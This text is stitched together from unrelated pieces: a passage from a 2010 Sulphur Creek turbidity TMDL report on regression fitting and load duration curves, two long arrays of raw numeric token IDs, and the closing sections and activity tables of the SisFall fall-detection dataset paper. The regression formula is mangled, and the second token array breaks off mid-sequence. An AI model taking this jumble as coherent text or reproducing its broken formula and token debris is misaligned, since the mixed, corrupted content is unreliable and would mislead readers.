the best relationship between two variables (i.e., X and Y), one variable (Y) is considered “dependent” on the other variable (X), but X must be considered “independent” of the other, and known without measurement error. OLS minimizes the differences, or residuals, between measured Y values and Y values predicted based on the X variable. For current purposes, a relationship is necessary to predict TSS concentrations from measured turbidity values, but also to translate the TSS-based TMDL back to in-stream turbidity values. For this purpose, an alternate regression fitting procedure known as the line of organic correlation (LOC) was applied. The LOC has three advantages over OLS (Helsel and Hirsch 2002): LOC minimizes fitted residuals in both the X and Y directions; It provides a unique best-fit line regardless of which parameter is used as the independent variable; and Regression-fitted values have the same variance as the original data. The LOC minimizes the areas of the right triangles formed by horizontal and vertical lines drawn from observations to the fitted line. The slope of the LOC line equals the geometric mean of the Y on X (TSS on turbidity) and X on Y (turbidity on TSS) OLS slopes, and is calculated as: x y s s m1 m m' sign[r] where m1 is the slope of the LOC line, m is the TSS on turbidity OLS slope, m’ is the turbidity on TSS OLS slope, r is the TSS-turbidity correlation coefficient, sy is the standard deviation of the TSS measurements, and sx is the standard deviation of the turbidity measurements. The intercept of the LOC (b1) is subsequently found by fitting the line with the LOC slope through the point (mean turbidity, mean TSS). The correlation between TSS and turbidity, along with the LOC and the OLS lines are shown in Figure 4-1. Sulphur Creek TMDL Technical Approach and Methods FINALTurbidity TMDL Sulphur Creek.docx 4-3 FINAL August 2010 Figure 4-1 Linear Regression for TSS-Turbidity under Base-flow Conditions for Sulphur Creek (OK 410600010030_00) The normalized root mean square error (NRMSE) and R-square (R2) were used as the primary measures of goodness-of-fit. As shown in Figure 4-1, the LOC yields a NRMSE value of 14.9 which means the root mean square error (RMSE) is 14.9% of the average of the measured TSS values. The R-square (R2) value indicates the fraction of the total variance in TSS or turbidity observations that is explained by the LOC. It was noted that there were a few outliers that exerted undue influence on the regression relationship. These outliers were identified by applying the Tukey’s Boxplot method (Tukey 1977) to the dataset of the distances from observed points to the regression line. The Tukey Method is based on the interquartile range (IQR), the difference between the 75th percentile (Q3) and 25th percentile (Q1) of distances between observed points and the LOC. Using the Tukey method, any point with an error greater than Q3 + 1.5* IQR or less than Q1 – 1.5IQR was identified as an outlier and removed from the regression dataset. The above regressions were calculated using the dataset with outliers removed. The Tukey Method is equivalent to using three times the standard deviation to identify outliers if the residuals (observed - predicted) follow a normal distribution. The probability of sampling results being within three standard deviations of the mean is 99.73% while the probability for the Tukey Method is 99.65%. If three times the standard deviation is used to identify outliers, it is necessary to first confirm that the residuals are indeed normally distributed. This is difficult to do because of the size limitations of the existing turbidity & TSS dataset. Tukey’s method does not rely on any assumption about the distribution of the residuals. It can be used regardless of the shape of distribution. Using the regression equation shown in Figure 4-1, a turbidity value of 50 NTU (standard applicable to Sulphur Creek) corresponds to a TSS concentration of 31.4 mg/L. 1 10 100 1000 1 10 100 1000 TSS (mg/L) Turbidity (NTU) log(TSS) = 0.7342log(Turb) + 0.2489 Sulphur Creek TMDL Technical Approach and Methods FINALTurbidity TMDL Sulphur Creek.docx 4-4 FINAL August 2010 4.2 Using Load Duration Curves to Develop TMDLs The TMDL calculations presented in this report are derived from load duration curves (LDC). LDCs facilitate rapid development of TMDLs, and as a TMDL development tool, indicate whether impairments are associated with point or nonpoint sources. The technical approach for using LDCs for TMDL development includes the four following steps described in Subsections 4.3 through 4.4 below: Preparing flow duration curves for gaged and ungaged WQM stations; Estimating loading in the receiving water using measured TSS water quality data and turbidity-converted data; Determining the overall percent reduction goal (PRG) necessary to attain WQS; and Historically, in developing WLAs for pollutants from point sources, it was customary to designate a critical low flow condition (e.g., 7Q2) at which the maximum permissible loading was calculated. As water quality management efforts expanded in scope to quantitatively address nonpoint sources of pollution and various types of pollutants, it became clear that this single critical low flow condition was inadequate to ensure adequate water quality across a range of flow conditions. Use of the LDC obviates the need to determine a design storm or selected flow recurrence interval with which to characterize the appropriate flow level for the assessment of critical conditions. For waterbodies impacted by both point and nonpoint sources, the “nonpoint source critical condition” would typically occur during high flows, when rainfall runoff would contribute the bulk of the pollutant load, while the “point source critical condition” would typically occur during low flows, when point source discharges would dominate the base flow of the impaired water. However, flow range is only a general indicator of the relative proportion of point/nonpoint contributions. It is not used in this report to quantify point source or nonpoint source contributions. Violations that occur during low flows may not be caused exclusively by point sources. Violations have been noted in some watersheds that contain no point sources. LDCs display the maximum allowable load over the complete range of flow conditions by a line using the calculation of flow multiplied by the water quality criterion. The TMDL can be expressed as a continuous function of flow,
[ 5256, 19, 14, 8751, 14, 1166, 14, 361, 16903, 910, 709, 14, 881, 568, 1704, 7547, 3559, 253, 1072, 9058, 273, 247, 2045, 789, 326, 2908, 1524, 11521, 273, 15506, 13988, 952, 1254, 35, 25, 14, 8751, 14, 1166, 14, 361, 16903, 1656, 1723, 13, 253, 9560, 1127, 1060, 403, 253, 3237, 342, 13546, 1524, 11521, 432, 5875, 3907, 13988, 952, 15, 496, 776, 1083, 13, 359, 760, 574, 9214, 432, 253, 21482, 9353, 323, 948, 8287, 11521, 342, 581, 14687, 313, 2354, 3071, 481, 8079, 13, 436, 14687, 1900, 3597, 281, 50007, 253, 2965, 313, 284, 667, 1436, 2820, 281, 3693, 247, 2965, 651, 513, 481, 844, 1908, 326, 1469, 21816, 342, 247, 14200, 285, 625, 15958, 13988, 2965, 10895, 651, 320, 6685, 11132, 15, 20911, 13988, 952, 313, 783, 2303, 273, 436, 789, 10, 2965, 327, 3388, 2378, 591, 807, 13, 891, 15, 70, 904, 281, 16270, 247, 2014, 2965, 651, 2430, 247, 2120, 807, 273, 5415, 7663, 15, 5076, 13, 275, 436, 1039, 13, 253, 4588, 2515, 273, 253, 2965, 313, 12135, 13, 1930, 273, 10805, 13, 3966, 2698, 778, 1620, 320, 1929, 15, 9937, 841, 1896, 31306, 13, 359, 1902, 326, 436, 10895, 588, 320, 247, 4217, 22791, 323, 643, 4477, 281, 1071, 616, 1211, 7274, 285, 281, 8415, 253, 1527, 3374, 3559, 275, 436, 789, 15, 187, 187, 23, 15, 35329, 1712, 1704, 23, 14, 8751, 14, 1166, 14, 361, 16903, 94, 187, 26446, 187, 187, 688, 436, 2929, 359, 3559, 285, 4439, 322, 261, 37327, 13, 247, 2965, 285, 4866, 10895, 9288, 342, 6480, 5014, 313, 1010, 273, 731, 13988, 952, 481, 380, 941, 497, 9288, 342, 271, 17308, 11955, 4229, 281, 616, 2133, 15, 23243, 342, 436, 10895, 359, 5183, 326, 247, 608, 14878, 7002, 1340, 5806, 11359, 2217, 1491, 323, 15549, 11521, 327, 3907, 13988, 952, 15, 9157, 13, 359, 2692, 326, 313, 284, 19997, 267, 1757, 1162, 355, 15, 4767, 323, 15772, 1025, 15506, 13988, 952, 10, 3733, 2965, 5481, 11333, 342, 2872, 952, 310, 417, 10599, 323, 15549, 11521, 327, 3907, 13988, 952, 15, 380, 2022, 1895, 1119, 310, 326, 2872, 952, 26065, 11521, 285, 5446, 45, 342, 625, 17680, 685, 253, 3264, 342, 13988, 952, 15, 6610, 13, 359, 2692, 2139, 4560, 4869, 7200, 275, 2965, 5481, 11333, 310, 417, 247, 1175, 2557, 323, 1524, 14, 8206, 4893, 13, 835, 253, 2288, 2322, 273, 253, 985, 1364, 320, 14662, 281, 2736, 11521, 13, 1223, 8493, 253, 3221, 2762, 2281, 347, 1896, 15, 1723, 13, 512, 5762, 3386, 3559, 4105, 1543, 342, 436, 31578, 15, 187, 187, 1231, 651, 751, 281, 5717, 34781, 27051, 13, 6039, 23353, 473, 23485, 80, 285, 17918, 5495, 7608, 80, 323, 616, 14448, 28, 285, 281, 512, 1110, 17679, 5014, 13, 4653, 2697, 34, 530, 2573, 34, 13, 285, 253, 4268, 80, 285, 329, 1479, 7112, 29731, 14635, 2390, 387, 253, 530, 2573, 34, 323, 616, 47860, 7680, 275, 253, 5978, 273, 253, 322, 261, 37327, 10895, 15, 844, 671, 971, 281, 14409, 253, 31768, 273, 253, 30628, 326, 6760, 436, 789, 15, 831, 789, 369, 4516, 407, 253, 2199, 346, 3493, 682, 630, 66, 716, 14340, 311, 33320, 3737, 5586, 3897, 50213, 3783, 372, 4014, 284, 382, 14994, 13, 4406, 2083, 6358, 40044, 42888, 13, 32644, 29378, 340, 1114, 262, 410, 80, 9928, 70, 247, 3897, 19162, 42523, 340, 1049, 49155, 247, 3897, 2086, 284, 372, 1964, 1118, 3876, 340, 638, 1261, 45198, 995, 2127, 346, 51, 20938, 14, 47, 27, 25127, 2031, 41612, 14, 19233, 36, 14, 6622, 3446, 187, 187, 510, 1563, 4367, 403, 2130, 3909, 1254, 35, 1423, 14, 8751, 14, 1166, 14, 361, 16903, 1184, 27, 1401, 52, 261, 37327, 4866, 285, 2965, 10895, 6019, 10318, 4367, 342, 512, 5950, 4712, 285, 247, 6707, 1405, 342, 1798, 1491, 273, 512, 5705, 285, 19654, 6019, 17213, 19654, 273, 512, 4712, 6019, 5815, 2425, 2908, 275, 253, 322, 261, 37327, 10895, 369, 3492, 5950, 285, 2908, 275, 436, 2144, 6019, 29153, 285, 8442, 342, 1543, 273, 512, 3386, 6019, 380, 1072, 4679, 2011, 2112, 253, 2929, 342, 760, 2620, 3386, 497, 2684, 342, 253, 1638, 4236, 323, 436, 789, 15, 187, 187, 3074, 4477, 20913, 285, 4158, 253, 4679, 28, 329, 15, 52, 15, 2684, 253, 4679, 28, 329, 15, 52, 15, 285, 500, 15, 37, 15, 45, 15, 5867, 253, 941, 28, 285, 512, 4477, 1239, 285, 7012, 253, 2457, 7714, 15, 187, 187, 510, 4477, 11165, 642, 7344, 273, 1600, 15, 380, 23569, 34423, 574, 642, 2554, 275, 253, 2216, 273, 253, 1263, 28, 275, 253, 4849, 13, 6260, 13, 390, 7914, 273, 941, 28, 275, 253, 4028, 273, 253, 7714, 13, 285, 275, 253, 3061, 281, 15452, 253, 1543, 15, 187, 187, 3138, 15982, 908, 323, 11931, 15, 380, 1881, 14, 35208, 12691, 2813, 2908, 767, 17308, 19045, 285, 247, 19859, 10425, 1714, 15, 733, 369, 4229, 281, 253, 18106, 273, 253, 5014, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 2874, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 2874, 94, 187, 187, 3138, 16698, 273, 5162, 285, 9162, 15, 380, 3386, 403, 10302, 846, 253, 19690, 1232, 273, 253, 9305, 941, 15, 5094, 66, 5737, 5446, 45, 399, 883, 4245, 370, 36, 578, 25, 724, 2193, 2708, 7887, 370, 53, 578, 18, 724, 313, 33464, 1401, 433, 424, 1386, 558, 5094, 67, 5737, 36350, 370, 36, 578, 25, 724, 25808, 253, 7887, 672, 253, 2965, 275, 2425, 401, 1762, 310, 5189, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 4699, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 4699, 94, 187, 187, 3138, 11728, 42456, 2797, 275, 12820, 846, 247, 884, 14, 8089, 2831, 14, 29599, 1293, 313, 2040, 941, 10, 285, 342, 638, 21678, 313, 45407, 481, 29621, 370, 36, 578, 19, 724, 285, 370, 36, 578, 25, 724, 6786, 5325, 15, 17, 6, 285, 9161, 15, 18, 6, 273, 7200, 672, 253, 5806, 369, 3732, 13, 2975, 15, 1723, 13, 417, 512, 3386, 5520, 616, 3045, 846, 19690, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 4838, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 4838, 94, 187, 187, 3138, 40984, 1318, 591, 2425, 2797, 342, 370, 36, 578, 25, 3363, 5595, 370, 53, 578, 18, 724, 7887, 45553, 313, 33464, 1401, 433, 424, 1386, 10, 403, 6221, 275, 4712, 399, 2125, 13, 399, 1093, 285, 401, 883, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 5525, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 5525, 94, 187, 187, 8751, 14, 1166, 14, 361, 16903, 14, 85, 2874, 64, 3235, 337, 187, 187, 5146, 2490, 187, 15668, 273, 11521, 4236, 323, 436, 789, 15, 535, 50276, 6124, 50275, 12479, 50254, 50254, 50254, 50272, 24490, 932, 50275, 24921, 187, 50276, 4485, 12383, 22873, 6271, 16213, 187, 50276, 39, 520, 50274, 37327, 3579, 1223, 7824, 4269, 407, 247, 15813, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 2640, 50274, 37327, 19265, 1223, 7824, 4269, 407, 247, 15813, 50254, 252, 50264, 22, 50270, 1010, 256, 187, 50276, 39, 2941, 50274, 45, 7476, 2965, 1223, 7824, 4269, 407, 247, 15813, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 2125, 50274, 37327, 3579, 1223, 7824, 4269, 407, 247, 7408, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 1762, 50274, 37327, 3579, 1223, 32412, 3390, 4269, 407, 247, 7408, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 3071, 50274, 44594, 2965, 1223, 7824, 4269, 407, 46947, 1076, 50254, 245, 50265, 608, 50270, 1010, 256, 187, 50276, 39, 2922, 50274, 37327, 1223, 7824, 13, 342, 897, 273, 3564, 275, 247, 2829, 281, 16109, 257, 2965, 13, 4269, 407, 46947, 1076, 50275, 22, 50270, 1010, 256, 187, 50276, 39, 2904, 50274, 37327, 3579, 672, 2820, 281, 755, 598, 50254, 50254, 50274, 22, 50270, 1010, 256, 187, 50276, 39, 2693, 50274, 45, 7476, 2965, 672, 2820, 281, 755, 598, 50254, 50254, 50274, 22, 50270, 1010, 256, 187, 50276, 39, 740, 50274, 37327, 3579, 672, 2820, 281, 1790, 1066, 50254, 50254, 50276, 22, 50270, 1010, 256, 187, 50276, 39, 883, 50274, 37327, 19265, 672, 2820, 281, 1790, 1066, 50254, 50254, 608, 50270, 1010, 256, 187, 50276, 39, 805, 50274, 45, 7476, 2965, 672, 2820, 281, 1790, 1066, 50254, 50254, 50276, 22, 50270, 1010, 256, 187, 50276, 39, 1012, 50274, 37327, 3579, 1223, 7063, 13, 4269, 407, 46947, 1076, 390, 10805, 17390, 50256, 22, 50270, 1010, 256, 187, 50276, 39, 1047, 50274, 37327, 19265, 1223, 7063, 13, 4269, 407, 46947, 1076, 390, 10805, 17390, 50257, 22, 50270, 1010, 256, 187, 50276, 39, 1010, 50274, 45, 7476, 2965, 1223, 7063, 13, 4269, 407, 46947, 1076, 390, 10805, 17390, 50256, 22, 50270, 1010, 256, 187, 187, 8751, 14, 1166, 14, 361, 16903, 14, 85, 4699, 64, 3235, 374, 187, 187, 5146, 2490, 187, 15668, 273, 4712, 273, 5312, 3811, 4236, 323, 436, 789, 15, 535, 50276, 6124, 50275, 12479, 50254, 50254, 50254, 50269, 47992, 50275, 24921, 187, 50276, 4485, 12383, 24702, 6271, 16213, 187, 50276, 37, 520, 50274, 56, 21489, 7808, 50254, 50254, 50254, 50274, 18, 50270, 2313, 256, 187, 50276, 37, 2640, 50274, 56, 21489, 4541, 50254, 50254, 50254, 50275, 18, 50270, 2313, 256, 187, 50276, 37, 2941, 50274, 43, 462, 3390, 7808, 50254, 50254, 50254, 50274, 18, 50270, 2313, 256, 187, 50276, 37, 2125, 50274, 43, 462, 3390, 4541, 50254, 50254, 50254, 50275, 18, 50270, 2313, 256, 187, 50276, 37, 1762, 50274, 56, 21489, 24311, 285, 30854, 7808, 50254, 50254, 50274, 22, 50270, 1099, 256, 187, 50276, 37, 3071, 50274, 56, 21489, 24311, 285, 30854, 4541, 50254, 50254, 50275, 22, 50270, 1099, 256, 187, 50276, 37, 2922, 50274, 40246, 314, 1790, 275, 247, 2716, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 7808, 50254, 50275, 22, 50270, 805, 256, 187, 50276, 37, 2904, 50274, 28782, 314, 1790, 275, 247, 2716, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 4541, 50254, 608, 50270, 805, 256, 187, 50276, 37, 2693, 50274, 40246, 314, 1790, 275, 247, 1698, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 7808, 50254, 50274, 22, 50270, 805, 256, 187, 50276, 37, 740, 50274, 28782, 314, 1790, 275, 247, 1698, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 4541, 50254, 50276, 22, 50270, 805, 256, 187, 50276, 37, 883, 50274, 52, 2835, 247, 2774, 13, 2820, 281, 755, 598, 13, 285, 13551, 715, 247, 6951, 50254, 50274, 608, 50270, 805, 256, 187, 50276, 37, 805, 50274, 52, 2835, 247, 2774, 13, 10776, 7808, 13, 3343, 247, 2774, 13, 285, 1790, 969, 50254, 50272, 22, 50270, 805, 256, 187, 50276, 37, 1012, 50274, 52, 2835, 247, 2774, 13, 10776, 4541, 13, 3343, 247, 2774, 13, 285, 1790, 969, 50254, 50274, 608, 50270, 805, 256, 187, 50276, 37, 1047, 50274, 26143, 327, 581, 434, 896, 1818, 281, 11884, 1899, 13, 3343, 247, 2774, 13, 285, 1818, 281, 581, 434, 896, 50275, 22, 50270, 805, 256, 187, 50276, 37, 1010, 50274, 15542, 272, 13, 7808, 23767, 387, 15746, 13, 285, 2970, 598, 50254, 245, 50265, 209, 608, 50270, 805, 256, 187, 50276, 37, 1036, 50274, 15542, 272, 13, 7808, 23767, 1293, 23767, 15746, 13, 285, 2970, 598, 50254, 50274, 22, 50270, 805, 256, 187, 50276, 37, 1166, 50274, 15542, 272, 13, 755, 715, 247, 1113, 13, 3464, 22813, 285, 755, 562, 273, 253, 1113, 50254, 50274, 22, 50270, 1099, 256, 187, 50276, 37, 1093, 50274, 998, 19493, 1223, 7824, 50254, 50254, 341, 50261, 608, 50270, 805, 256, 187, 50276, 37, 746, 50274, 40, 1574, 6923, 1293, 10805, 313, 85, 11729, 281, 3986, 247, 1029, 1789, 10, 50254, 50272, 608, 50270, 805, 256, 187, 187, 8751, 14, 1166, 14, 361, 16903, 14, 85, 4838, 64, 3235, 495, 187, 187, 5146, 2490, 187, 19711, 13, 4898, 285, 2801, 273, 253, 5014, 15, 535, 50266, 30386, 50272, 19711, 50268, 13881, 313, 78, 10, 50275, 25935, 313, 5840, 10, 187, 50276, 9794, 6271, 6557, 6557, 15369, 187, 50276, 38, 39828, 314, 50275, 33090, 50275, 3763, 283, 1976, 50271, 18, 15, 1235, 283, 18, 15, 2090, 50275, 1235, 283, 3547, 187, 50276, 27346, 50272, 1549, 283, 3677, 50275, 18, 15, 3571, 283, 18, 15, 3677, 50275, 3208, 283, 11335, 50272, 187, 50276, 3837, 503, 50273, 33090, 50275, 746, 283, 1229, 50271, 18, 15, 2537, 283, 18, 15, 2090, 50275, 2945, 283, 3571, 187, 50276, 27346, 50272, 746, 283, 1229, 50275, 18, 15 ]	dot2-sensors-17-00198){ref-type="sec"}) presented the same trend of a previous work that included real falls of impaired elderly people \[[@B8-sensors-17-00198]\]. However, the crucial point here are the problems with obtaining real falls from healthy independent elderly people. In our case, we only had permission from the Ethics committee for simulating falls with one participant (SE06). Indeed, this participant always tried to soften the fall (as any person trying to avoid a fall would do). We consider that going farther with a wider and more realistic elderly fall dataset would be extremely challenging. Independent elderly people (the target of this work) fall on average once per year, i.e., to acquire a single fall would require a full year of continuous recording. Moreover, in this way, the actual conditions of the fall (activity, side of falling, etc.) may never be known. Despite these possible biases, we expect that this dataset will be a useful benchmark for other authors to test their own approaches and to solve the open issues presented in this work. 6. Conclusions {#sec6-sensors-17-00198} ============== In this paper we presented and released SisFall, a fall and movement dataset acquired with 38 participants (15 of them elderly people). The data were acquired with an accelerometer fixed to their body. Along with this dataset we demonstrated that a 5 Hz fourth order filter keeps enough information for detecting falls on independent elderly people. Additionally, we showed that (as Bagalá et al. stated for institutionalized impaired elderly people) training fall detection algorithms with young people is not adequate for detecting falls on independent elderly people. The main problem found is that young people simulate falls and ADL with more acceleration than the expected with elderly people. Finally, we showed why finding maximum accuracy in fall detection algorithms is not a good measure for real-life applications, where the sensibility of the system must be fitted to detect falls, while reducing the false positive rate as possible. However, all tested features presented poor results with this requisite. We would like to thank Monica Rodriguez, Camilo Ocampo and Felipe Toro for their collaboration; and to all those anonymous participants, PROSA UDEA, and the Judo and Aikido martial arts groups at the UDEA for their insightful contribution in the generation of the SisFall dataset. We also want to acknowledge the dedication of the reviewers that evaluated this work. This work was supported by the project "Plataforma tecnológica para los servicios de teleasistencia, emergencias médicas, seguimiento y monitoreo permanente a los pacientes y apoyo a los programas de promoción y prevención", code "Ruta-N: FP44842-512C-2013". The following files are available online \[[@B22-sensors-17-00198]\]: SisFall movement and fall dataset. Text files with all recorded activities and a Readme with particular information of all subjects and recordings.Video recordings of all activities. Each activity included in the SisFall dataset was video recorded and included in this material.Tables and figures with results of all features. The same experiments shown along the paper with only five features were performed with the 14 selected for this work. All authors conceived and designed the experiments; A.S. performed the experiments; A.S. and J.D.L. analyzed the data; and all authors read and approved the final manuscript. The authors declare no conflict of interest. The founding sponsors had no role in the design of the study; in the collection, analyses, or interpretation of data; in the writing of the manuscript, and in the decision to publish the results. ![Device used for acquisition. The self-developed embedded device included two accelerometers and a gyroscope. It was fixed to the waist of the participants.](sensors-17-00198-g001){#sensors-17-00198-f001} ![Example of processing and classification. The features are computed after the filtering process of the raw data. (a) ADL D11 gives $C_{8}$ values below threshold $T_{1}$ (horizontal red line); (b) Feature $C_{8}$ crosses the threshold when the fall in activity F05 is detected.](sensors-17-00198-g002){#sensors-17-00198-f002} ![Accuracy obtained in validation after a 10-fold cross-validation without (raw data) and with preprocessing (filtered). Features $C_{2}$ and $C_{8}$ achieved 95.0% and 96.1% of accuracy when the filter was applied, respectively. However, not all features improved their performance after filtering.](sensors-17-00198-g003){#sensors-17-00198-f003} ![Maximum value per activity obtained with $C_{8}$. Most $T_{1}$ threshold crossings (horizontal red line) are contained in activities D04, D18 and F11.](sensors-17-00198-g004){#sensors-17-00198-f004} sensors-17-00198-t001_Table 1 ###### Types of falls selected for this work. Code Activity Trials Duration ------ ------------------------------------------------------------------------------------- -------- ---------- F01 Fall forward while walking caused by a slip 5 15 s F02 Fall backward while walking caused by a slip 5 15 s F03 Lateral fall while walking caused by a slip 5 15 s F04 Fall forward while walking caused by a trip 5 15 s F05 Fall forward while jogging caused by a trip 5 15 s F06 Vertical fall while walking caused by fainting 5 15 s F07 Fall while walking, with use of hands in a table to dampen fall, caused by fainting 5 15 s F08 Fall forward when trying to get up 5 15 s F09 Lateral fall when trying to get up 5 15 s F10 Fall forward when trying to sit down 5 15 s F11 Fall backward when trying to sit down 5 15 s F12 Lateral fall when trying to sit down 5 15 s F13 Fall forward while sitting, caused by fainting or falling asleep 5 15 s F14 Fall backward while sitting, caused by fainting or falling asleep 5 15 s F15 Lateral fall while sitting, caused by fainting or falling asleep 5 15 s sensors-17-00198-t002_Table 2 ###### Types of activities of daily living selected for this work. Code Activity Trials Duration ------ ----------------------------------------------------------------------------------------- -------- ---------- D01 Walking slowly 1 100 s D02 Walking quickly 1 100 s D03 Jogging slowly 1 100 s D04 Jogging quickly 1 100 s D05 Walking upstairs and downstairs slowly 5 25 s D06 Walking upstairs and downstairs quickly 5 25 s D07 Slowly sit in a half height chair, wait a moment, and up slowly 5 12 s D08 Quickly sit in a half height chair, wait a moment, and up quickly 5 12 s D09 Slowly sit in a low height chair, wait a moment, and up slowly 5 12 s D10 Quickly sit in a low height chair, wait a moment, and up quickly 5 12 s D11 Sitting a moment, trying to get up, and collapse into a chair 5 12 s D12 Sitting a moment, lying slowly, wait a moment, and sit again 5 12 s D13 Sitting a moment, lying quickly, wait a moment, and sit again 5 12 s D14 Being on one's back change to lateral position, wait a moment, and change to one's back 5 12 s D15 Standing, slowly bending at knees, and getting up 5 12 s D16 Standing, slowly bending without bending knees, and getting up 5 12 s D17 Standing, get into a car, remain seated and get out of the car 5 25 s D18 Stumble while walking 5 12 s D19 Gently jump without falling (trying to reach a high object) 5 12 s sensors-17-00198-t003_Table 3 ###### Age, height and weight of the participants. Sex Age Height (m) Weight (kg) --------- -------- ------------ ------------ ------------- Elderly Female 62--75 1.50--1.69 50--72 Male 60--71 1.63--1.71 56--102 Adult Female 19--30 1.49--1.69 42--63 Male 19--30 1.
[ 34, 1302, 273, 1924, 310, 2918, 407, 253, 40438, 323, 253, 7709, 478, 593, 273, 26757, 281, 253, 2408, 273, 8157, 7554, 28, 12154, 1379, 187, 5070, 42886, 28, 285, 253, 12154, 323, 253, 8307, 273, 187, 4257, 782, 285, 596, 3922, 43626, 403, 2918, 347, 2223, 13, 387, 253, 9635, 187, 24489, 275, 16863, 15353, 15, 380, 9635, 4231, 382, 27619, 2186, 247, 38817, 12426, 327, 17958, 7213, 5210, 11015, 15, 380, 9136, 273, 253, 187, 68, 21597, 6735, 14, 13550, 273, 35699, 13, 4232, 275, 1283, 2504, 13, 9017, 689, 629, 273, 253, 12960, 14, 26613, 84, 273, 35699, 187, 395, 3684, 4714, 15, 380, 3874, 14, 24489, 13, 534, 9572, 275, 253, 187, 16532, 14, 5070, 13, 310, 247, 8805, 1407, 33095, 13, 4270, 407, 253, 13739, 13, 187, 4524, 253, 2221, 565, 423, 566, 273, 2305, 15, 31247, 13, 562, 273, 253, 4711, 273, 43864, 552, 42183, 323, 253, 7756, 273, 253, 187, 10700, 28, 253, 14247, 273, 697, 299, 15831, 369, 8157, 1166, 2270, 13, 285, 767, 187, 88, 723, 452, 1580, 644, 2879, 27, 253, 2316, 908, 323, 25502, 310, 3564, 297, 600, 6699, 15, 187, 187, 510, 25024, 12093, 407, 13782, 1722, 2251, 20046, 13, 273, 187, 4609, 12387, 23, 403, 549, 494, 13, 285, 35302, 48554, 285, 479, 7240, 15, 187, 510, 3811, 310, 247, 15951, 274, 486, 13, 21392, 275, 253, 6963, 434, 5098, 387, 187, 14775, 1797, 15, 608, 15, 374, 8313, 904, 285, 275, 253, 24081, 486, 273, 253, 23392, 28, 2036, 6021, 13, 8157, 25472, 28, 1965, 3225, 2392, 13, 253, 14913, 273, 35459, 285, 187, 783, 22992, 273, 411, 12099, 300, 15681, 15, 380, 6105, 13, 534, 310, 581, 273, 187, 783, 6253, 285, 954, 20654, 275, 253, 18794, 13, 15646, 187, 631, 621, 275, 512, 253, 14957, 273, 4383, 10336, 13, 285, 310, 187, 66, 29325, 4960, 2605, 11253, 273, 247, 295, 1123, 13, 247, 261, 868, 13, 21191, 339, 45276, 13, 40656, 13, 285, 34742, 335, 348, 1544, 13885, 1241, 13, 342, 247, 298, 47218, 10439, 187, 85, 1017, 919, 35758, 407, 247, 4030, 17109, 21805, 653, 603, 15, 380, 2613, 187, 1171, 253, 15469, 310, 22497, 13, 285, 275, 253, 295, 1123, 403, 767, 22497, 187, 2059, 398, 15, 380, 40656, 310, 273, 41128, 789, 43931, 13, 342, 9129, 8805, 285, 29098, 48073, 14883, 1523, 27251, 27, 352, 310, 9070, 432, 253, 295, 1123, 407, 247, 6793, 29098, 3601, 13, 690, 4243, 273, 187, 4609, 13, 7552, 10027, 264, 13, 452, 644, 8379, 516, 15281, 407, 6871, 5248, 723, 13, 253, 789, 273, 271, 9558, 14544, 387, 187, 4257, 782, 15, 496, 436, 629, 273, 253, 1407, 33095, 310, 581, 273, 253, 6253, 187, 1205, 376, 1272, 27188, 265, 275, 253, 18794, 13, 14883, 1523, 34367, 264, 13, 281, 253, 3541, 273, 38266, 17436, 2577, 1251, 13, 665, 4962, 275, 187, 1012, 3832, 27, 247, 5110, 273, 436, 556, 644, 16789, 407, 253, 1072, 187, 435, 382, 15, 380, 1781, 9268, 3497, 310, 275, 253, 1996, 4383, 187, 4826, 13, 285, 253, 268, 4670, 285, 50042, 273, 253, 295, 1123, 285, 40656, 403, 187, 328, 27978, 6793, 15, 1707, 403, 690, 7126, 13751, 273, 187, 31975, 5253, 275, 253, 8323, 15, 380, 30099, 14, 14705, 13, 271, 50063, 13497, 273, 253, 2213, 44639, 273, 418, 25151, 316, 13, 407, 187, 41, 7839, 13, 369, 3559, 407, 253, 9558, 13, 3692, 3392, 369, 247, 187, 23963, 273, 253, 3874, 15, 2828, 6412, 13, 39449, 472, 14, 33151, 13, 187, 11892, 2356, 407, 21729, 275, 1283, 1787, 13, 285, 10804, 14092, 407, 253, 187, 18551, 31134, 273, 2816, 13, 310, 247, 23639, 2605, 275, 253, 187, 18579, 4383, 3740, 13, 285, 4428, 884, 938, 256, 45083, 13, 273, 534, 187, 23695, 403, 1959, 15, 380, 3811, 310, 247, 41510, 1095, 1974, 13, 342, 247, 187, 10582, 1257, 14, 5967, 28, 38412, 13, 2176, 48006, 11162, 407, 187, 783, 4974, 8425, 398, 15, 1707, 403, 5053, 273, 17246, 323, 4214, 285, 3512, 8070, 24425, 1346, 28, 2102, 2008, 592, 28, 36858, 2531, 13, 187, 18204, 1483, 13, 285, 43921, 266, 8378, 1346, 28, 285, 8370, 33097, 27, 253, 34086, 273, 253, 8370, 33097, 13, 9940, 187, 936, 253, 13936, 31465, 13, 369, 6312, 275, 4163, 1283, 1787, 13, 387, 247, 187, 16736, 273, 670, 8157, 26990, 13, 285, 310, 247, 18176, 1407, 33095, 342, 247, 23639, 15469, 15, 187, 187, 510, 7648, 1997, 21089, 2143, 369, 11420, 275, 1458, 1229, 13, 407, 187, 9034, 15, 7195, 18482, 316, 13, 7984, 615, 11660, 273, 253, 5791, 15150, 273, 187, 58, 32753, 13, 285, 247, 7925, 273, 35699, 13, 665, 13, 407, 588, 275, 187, 1010, 1235, 13, 320, 1452, 41746, 13446, 323, 253, 1329, 273, 247, 346, 19221, 273, 187, 1710, 4175, 285, 247, 2143, 273, 4498, 449, 380, 6021, 13, 2408, 272, 281, 4829, 8157, 1348, 361, 13, 310, 3021, 3991, 456, 27, 281, 253, 28146, 2143, 13, 8157, 20256, 28, 281, 253, 4498, 2143, 13, 8157, 10655, 28, 281, 3578, 187, 4093, 272, 8290, 13, 8157, 